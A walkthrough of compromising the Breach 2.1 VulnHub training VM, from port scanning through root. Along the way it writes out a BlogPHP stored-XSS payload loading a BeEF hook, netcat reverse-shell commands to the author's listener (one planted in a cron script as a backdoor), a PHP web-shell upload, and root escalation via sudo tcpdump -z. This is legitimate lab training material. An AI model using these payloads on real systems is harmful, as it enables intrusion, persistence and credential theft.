Breach: 2.1 Walkthrough


The past few weeks I've been working off and on with Breach 2.0/2.1 created by mrb3n.

This VM was a ton of fun. I've always enjoyed the movie Office Space and anytime there's a theme that interests me, it makes it even more fun to compromise!

Without further ado, here's my walkthrough of the latest VM on VulnHub... Breach 2.0:




Per my usual first step, I kick off an nmap scan on the target host 192.168.110.151:



root@localhost:~/VM/breach2# nmap 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-16 13:55 CDT
Nmap scan report for 192.168.110.151
Host is up (0.00037s latency).
Not shown: 999 closed ports
PORT    STATE SERVICE
111/tcp open  rpcbind
MAC Address: 08:00:27:0D:B5:85 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
root@localhost:~/VM/breach2# 

Looks like there's only an RPC port open. Seems fishy. Let's run nmap again, this time against all ports:



root@localhost:~/VM/breach2# nmap -p- 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-16 13:54 CDT
Nmap scan report for 192.168.110.151
Host is up (0.00023s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
111/tcp   open  rpcbind
56404/tcp open  unknown
65535/tcp open  unknown
MAC Address: 08:00:27:0D:B5:85 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds
root@localhost:~/VM/breach2#

Much better. 2 more additional ports: 56404 and 65535. Just to be sure I leave no stone unturned, I run -A to get a better feel for what services we are working with:



root@localhost:~/VM/breach2# nmap -p111,56404,65535 -A 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-16 13:55 CDT
Nmap scan report for 192.168.110.151
Host is up (0.00018s latency).
PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          45552/udp  status
|_  100024  1          56404/tcp  status
56404/tcp open  status  1 (RPC #100024)
65535/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey: 
|   1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
|   2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|_  256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
MAC Address: 08:00:27:0D:B5:85 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms 192.168.110.151

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
root@localhost:~/VM/breach2# 

Wonderful. Looks like 56404 is just another RPC port. But 65535 is OpenSSH!

I navigate to this port and I'm presented with the following screen:


root@localhost:~# ssh root@192.168.110.151 -p 65535
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#           All connections are monitored and recorded                #
#               Unauthorized access is encouraged                     #
#       Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   # 
#############################################################################
root@192.168.110.151's password: 

Full disclosure, this stumped me for an extremely long time. I actually went back to Vulnhub and took the authors hint "imagine this as a production environment during a busy work day." and went down my first rabbit hole:

I fired up Wireshark and I noticed there was a connection being made from the host out towards another IP 192.168.72.2 and making some sort of DNS request. Let's just say I spent way too much time trying to Man in the Middle and DNS Poison this connection. Ultimately, I gave up and went back to the SSH path.

I tried brute-forcing using Hydra with the user being peter but this lead me nowhere since it said something along the lines as passwords were not allowed.

After reading and re-reading, the hint was write in front of my face: "the password is in the source" !!

I typed in "inthesource" as the password and... the connection closed?


root@localhost:~# ssh peter@192.168.110.151 -p 65535
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#           All connections are monitored and recorded                #
#               Unauthorized access is encouraged                     #
#       Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   # 
#############################################################################
peter@192.168.110.151's password: 
Connection to 192.168.110.151 closed.
root@localhost:~#

I try a few more times but nothing happened. Hmm?

Remembering past VM's, this could have been some sort of "port knocking" type reaction. I go back to nmap and see if any other ports may have trigged after attempting the password:



root@localhost:~/VM/breach2# nmap -p- 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-30 13:36 CDT
Nmap scan report for 192.168.110.151
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
47690/tcp open  unknown
65535/tcp open  unknown
MAC Address: 08:00:27:05:C4:FD (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
root@localhost:~/VM/breach2# 

Woo! HTTP has been opened! Okay, no need to get too excited here, it's just another service. I navigate to the page and see what this entails:



First thing that pops out is "BEEF". I immediately think of BeEF - The Browser Exploitation Framework.

I do my normal information gathering. I check the source, look for robots.txt, run Dirbuster, Dirb, Nikto and the like.

After running dirb, I see that there's a /blog/ directory:



root@localhost:~/VM/breach2# dirb http://192.168.110.151

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Aug 30 13:41:53 2016
URL_BASE: http://192.168.110.151/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.110.151/ ----
==> DIRECTORY: http://192.168.110.151/blog/                                                            
==> DIRECTORY: http://192.168.110.151/images/                                                          
+ http://192.168.110.151/index.html (CODE:200|SIZE:468)                                                
+ http://192.168.110.151/server-status (CODE:403|SIZE:303)                                             
                                                                                                       
---- Entering directory: http://192.168.110.151/blog/ ----
+ http://192.168.110.151/blog/index.php (CODE:200|SIZE:5600)                                           
+ http://192.168.110.151/blog/README (CODE:200|SIZE:721)                                               
==> DIRECTORY: http://192.168.110.151/blog/smilies/                                                    
==> DIRECTORY: http://192.168.110.151/blog/wysiwyg/                                                    
                                                                                                       
---- Entering directory: http://192.168.110.151/images/ ----
                                                                                                       
---- Entering directory: http://192.168.110.151/blog/smilies/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                       
---- Entering directory: http://192.168.110.151/blog/wysiwyg/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Aug 30 13:41:55 2016
DOWNLOADED: 13836 - FOUND: 4
root@localhost:~/VM/breach2# 

I then navigate to /blog/:



This must be the blog that the SSH Banner must have been talking about. I take a look around to see what can be found.

After some enumeration, I find an vulnerability in BlogPHP 2.0. This is a Persistent Cross-Site Scripting attack. Per the documentation, here's how to exploit:



How to exploit:
1- Go there : http://localhost/blogphp/register.html.
2- Put in the Username field the XSS Code.  Example:<META http-equiv="refresh" content="0;URL=http://www.google.com">  .
3- Put anything in the other field ( Password & E-mail).
4- Now anyone go there : http://localhost/blogphp/members.html will redirected to google.com OR exploit your XSS Code.
 

I put 2 and 2 together and decide that BeEF + BlogPHP XSS is my route to success.

I fire up BEEF and follow their Hook example:



root@localhost:~/VM/breach2# beef-xss 
[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
[*] UI URL: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
root@localhost:~/VM/breach2# 

Following the vulnerability example, I register a user with the following name:

<script src="http://192.168.110.1:3000/hook.js"></script>



At this point, I go to my BeEF Control Panel and wait.

After a few minutes pass, I see a connection!



I see in the Cookie, there's a blog_php_username and blogphp_password. I run the hash and I get the following results:

blogphp_username=admin
blogphp_password=admin123

I try to log into the blog with those credentials but to no success. Strange.

Deciding that since I have a hooked browser, there's got to be some way to exploit this further. Upon further research, I find an exploit for Firefox 15. I also stumble across a great write-up on how to use BeEF & Metasploit to pop a shell with Firefox on Linux.

Since the write-up is so well done, I won't be explaining it here. However, I will show my popped shell. :)



I now have a shell:



msf exploit(firefox_proto_crmfrequest) > sessions -l

Active sessions
===============

  Id  Type           Information  Connection
  --  ----           -----------  ----------
  1   shell firefox               192.168.110.1:4444 -> 192.168.110.151:38658 (192.168.110.151)

msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 3...

id   
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)

I noticed it disconnected frequently though. I'm unsure of the reason besides the "user" that was getting hooked was completely closing the browser.

In order to make the shell more stable, when I caught my initial connection through metasploit, I immediately ran netcat from the compromised host to my local machine that was also running a netcat listener on port 443:



Great! I have a more stable shell. I clean up my shell and get to work with enumeration:



id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)
python -c 'import pty;pty.spawn("/bin/bash")'
peter@breach2:~$ id
id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)
peter@breach2:~$

With a more stable shell, it is time to start exploring more. There's a great guide provided by g0tmi1k that covers nearly every privilege escalation step I use upon popping a shell. There were many things that I noticed upon enumeration such as:


  • After running netstat, port 3306 and 2323 both listening on the local host. I know that port 3306 is mysql but I'm unsure about 2323.
  • Looking in the /var/www/, I see that there is an html & html2 folder. 
  • Looking in /var/mail/peter, there's a ton of emails that show a cronjob for /home/peter/firefox.sh. This firefox.sh script is what allowed us to perform our XSS exploit since our XSS was created from a registered user whom is located under members on the webpage. Seeing that we are running as peter, I echo "/bin/netcat 192.168.110.1 443 -e /bin/bash" into the file so that if my shell were to drop, I can always start a listener on port 443 again and regain connection.
  • Looking in /home/, I see 3 users: peter, milton, and bill. Based on the last Breach VM, we may need to eventually hop on all 3 users in order to root this box.

There was actually more information that was gathered, but I found that it would apply more further into my walkthrough.

I remember that port 3306 is open, so I check to see if there's any cleartext passwords that I can view.

Upon navigating to /var/www/html/blog, there's a config.php file that interests me. Reading the contents of this file, I see that there is in fact credentials to access the mysql database utilizing the following credentials:

dbname="root"
dbpass=""  



peter@breach2:/var/www/html/blog$ cat config.php
cat config.php
<?php 
    $dbhost = "localhost";
    $dbname = "blog"; // mysql database name
    $dbuser = "root"; // mysql database username
    $dbpass = ""; // mysql database password
 $pre = "blogphp_"; // table prefix
    $upload = "upload/"; // upload folder
 $sitename = "blog"; // site name
 $guests = "yes"; // Allow guests to post comments? (yes or no)
 $wysiwyg = "yes"; // enable wysiwyg editor? (yes or no)
 $color = "#D9F773"; // this color code controls the bg of the admin box (great if you use a custom layout)


 // --------------------- DO NOT CHANGE ANYTHING BELOW UNLESS YOU KNOW WHAT YOU ARE DOING -------------------------//

[...snipppet...]


peter@breach2:/var/www/html/blog$ 

I then access mysql and start surfing around:



peter@breach2:/var/www/html/blog$ mysql -u root -p
mysql -u root -p
Enter password: 

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.5.49-0+deb8u1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

The first thing that caught my eye was the mysql database and user table. I dump the User and Password columns:



mysql> select User,Password from user;
select User,Password from user;
+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| root             |                                           |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *D0C78CEFE547A41E829542C969E697104594B2C0 |
+------------------+-------------------------------------------+
4 rows in set (0.00 sec)

mysql> 

Okay great. I tried to crack this password but was unsuccessful. However, I kept it in my notes in case it may become of use in the future.

The next thing I did was look into the oscommerce database. I found the osc_administrators table and dumped its' contents too:



mysql> select * from osc_administrators;
select * from osc_administrators;
+----+-----------+-------------------------------------+
| id | user_name | user_password                       |
+----+-----------+-------------------------------------+
|  1 | admin     | 685cef95aa31989f2edae5e055ffd2c9:32 |
+----+-----------+-------------------------------------+
1 row in set (0.00 sec)

mysql> 

I run the hash through a hash cracker and drop off the 32 at the end and find that the credentials in the table are:

admin:32admin

I keep note of these credentials and continue about my journey.

At this point, I was stuck again. I had no idea how I was going to access the html2 directory. I saw that it was owned by root and that it must be the way to own this box, however, I was stuck.

After some soul searching, I remembered that there was still port 2323 open on the box that I never looked into!

I run telnet against the port and get the following:



peter@breach2:/var/www/html/blog$ telnet 127.0.0.1 2323
telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W 
breach2 login: 

Interesting. Are those coordinates? I punch them into google and find that they are the coordinates for Houston, Texas.

Remembering how the SSH password earlier was right in front of my face, I decide to test my luck with utilizing Houston as the password. I figure I would try with both bill and milton.

And it worked! When I used milton as the user and Houston as the password, I was able to activate the process. A countdown initiated from 3 down to 1 and then prompting "Whose stapler is it?". I figured the answer "mine" would work since the stapler is obviously Milton's:



peter@breach2:/var/www/html/blog$ telnet 127.0.0.1 2323
telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W 
breach2 login: Connection closed by foreign host.
peter@breach2:/var/www/html/blog$ telnet 127.0.0.1 2323
telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W 
breach2 login: milton
milton
Password: Houston

Last login: Wed Jul 20 21:04:18 EDT 2016 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W 
3
2
1
Whose stapler is it?mine
mine
Woot!
milton@breach2:~$ id
id
uid=1002(milton) gid=1002(milton) groups=1002(milton)
milton@breach2:~$ 

Okay awesome! Now that I am running as milton, it's time to start enumerating yet again. I tried everything I did with peter but everything was pretty much the same except...

An open service! I ran netstat and noticed that port 8888 has been opened:



milton@breach2:~$ netstat -tnlp
netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:55237           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:2323          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::8888                 :::*                    LISTEN      -               
tcp6       0      0 :::52227                :::*                    LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
milton@breach2:~$ 

I open up another terminal and quickly run nmap against it hoping to find more information on this newly opened service:



root@localhost:~/VM/breach2# nmap -p8888 -sV 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-30 16:55 CDT
Nmap scan report for 192.168.110.151
Host is up (0.00019s latency).
PORT     STATE SERVICE VERSION
8888/tcp open  http    nginx 1.6.2
MAC Address: 08:00:27:05:C4:FD (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds
root@localhost:~/VM/breach2#

Ah-ha! Could it be? Is this the html2 directory I've been hoping for?

I go back to my browser and access the URL...



It is! I click the oscommerce link and I'm presented with an e-commerce page:



Now that I have access to the page, I start navigating around in parallel with my shell as milton. This will reduce the need to run dirb or nikto and I can also cat the contents of all the files. I notice a few things that stand out:


  • I notice there's a Pro PHP Security book on the homepage. Does this mean there may be a php vulnerability to exploit? 
  • While on navigating via milton's shell, I see a world writable directory within /var/www/html2/oscommerce/includes/work

After probing the site, I find an admin page located at /oscommerce/admin/index.php



I immediately remember the credentials captured earlier within the oscommerce database. I attempt:

admin:32admin

but it doesn't work. At this point I was stumped since I couldn't believe the credentials didn't work. I ended up going back to the oscommerce database and analyzed the hash entry within the table. The :32 at the end stood out, especially since it is the same number at the beginning of the password. I started playing around with different combinations of admin, 32admin, admin32 and 32admin32 until I was finally able to login with simply:

admin:admin

Honestly, I'm not completely sure what the :32 represented at the end of the hash. My guess is that it may be some sort of salt? However, I parking lot this theory for research another day and continue about my venture.


Now that I'm logged in. I continue poking around the site, checking for anything that stands out.

I notice that there's a File Manager located under Tools! I base my earlier findings that the PHP Security Book + World Writable directory must be my way into the system!

I switch directories within the File Manager to includes/work and upload a very handy PHP Reverse Shell which is also located in Kali within:

/usr/share/webshells/php/php-reverse-shell.php



After a successful upload, I then start my netcat listener on port 443 and navigate to the following directory to activate my reverse shell:

192.168.110.151:8888/oscommerce/includes/work/geoda-reverse.php



root@localhost:~/VM/breach2# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.151] 57384
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
 13:56:51 up  2:14,  1 user,  load average: 0.15, 0.12, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
milton   pts/1    localhost        12:38   32:00   0.02s  0.02s -bash
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin)
$ 

Great! I'm actually running as blumbergh and not root which was my original hope. It turns out that when I uploaded my reverse shell into the work directory, the file was actually owned by blumbergh.

Ultimately, this is where I expected to be. Earlier I realized that there were 3 users: bill, milton and peter. Now, I'm logged in as my 3rd user.

Time to escalate again!

One of my first steps after getting a shell is to run sudo -l to see what sudo commands this user can run:



$ sudo -l
Matching Defaults entries for blumbergh on breach2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on breach2:
    (root) NOPASSWD: /usr/sbin/tcpdump
$ 

Well, well, well. It looks like good ol' lumbergh can run "/usr/sbin/tcpdump" as root with NOPASSWD!

I start doing some research and find a brilliant article on "How I got root with Sudo". Per this article, there's a "-z postrotate-command" option introduced in tcp-dump version 4.0.0.

I modified the exploit to run a reverse shell instead of cat'ing the /etc/shadow file.

With my netcat listener in place on port 443 again, I run the following commands:


$ id
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin)
$ echo $'id\n/bin/netcat 192.168.110.1 443 -e /bin/bash' > /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
$ 

I then get a connection..:



root@localhost:~/VM/breach2# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.151] 59896
id
uid=0(root) gid=0(root) groups=0(root)

Woot!!! I am root!

I clean up my shell and go to the root directory:


root@breach2:~# pwd
pwd
/root
root@breach2:~# ls -lah
ls -lah
total 60K
drwx------  7 root root 4.0K Jul 20 21:08 .
drwxr-xr-x 22 root root 4.0K Jun 20 14:21 ..
-rw-------  1 root root    0 Jun 18 19:20 .Xauthority
drwx------  2 root root 4.0K Jun 21 11:01 .aptitude
-rw-------  1 root root   49 Jul 20 21:08 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  2 root root 4.0K Jun 19 16:42 .cache
drwx------  3 root root 4.0K Jun 19 16:42 .config
-rw-r--r--  1 root root 5.0K Jun 22 10:46 .flag.py
drwx------  4 root root 4.0K Jun 19 16:42 .mozilla
-rw-------  1 root root  958 Jun 21 10:50 .mysql_history
-rw-------  1 root root   44 Jul 20 20:31 .nano_history
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r--r--  1 root root   66 Jun 16 12:59 .selected_editor
drwx------  2 root root 4.0K Jun 19 16:42 .ssh
root@breach2:~# 

I see ".flag.py" and I run it!



Holy cow this was a fun VM! There were a lot of Ups and Downs and plenty of red herring's along the way. The way this VM was built reminded me of my time back in the OSCP labs which was a great treat. 

I absolutely enjoyed this VM. I'd like to thank mrb3n for making me dig deep during times of struggle and of course vulnhub.com for hosting!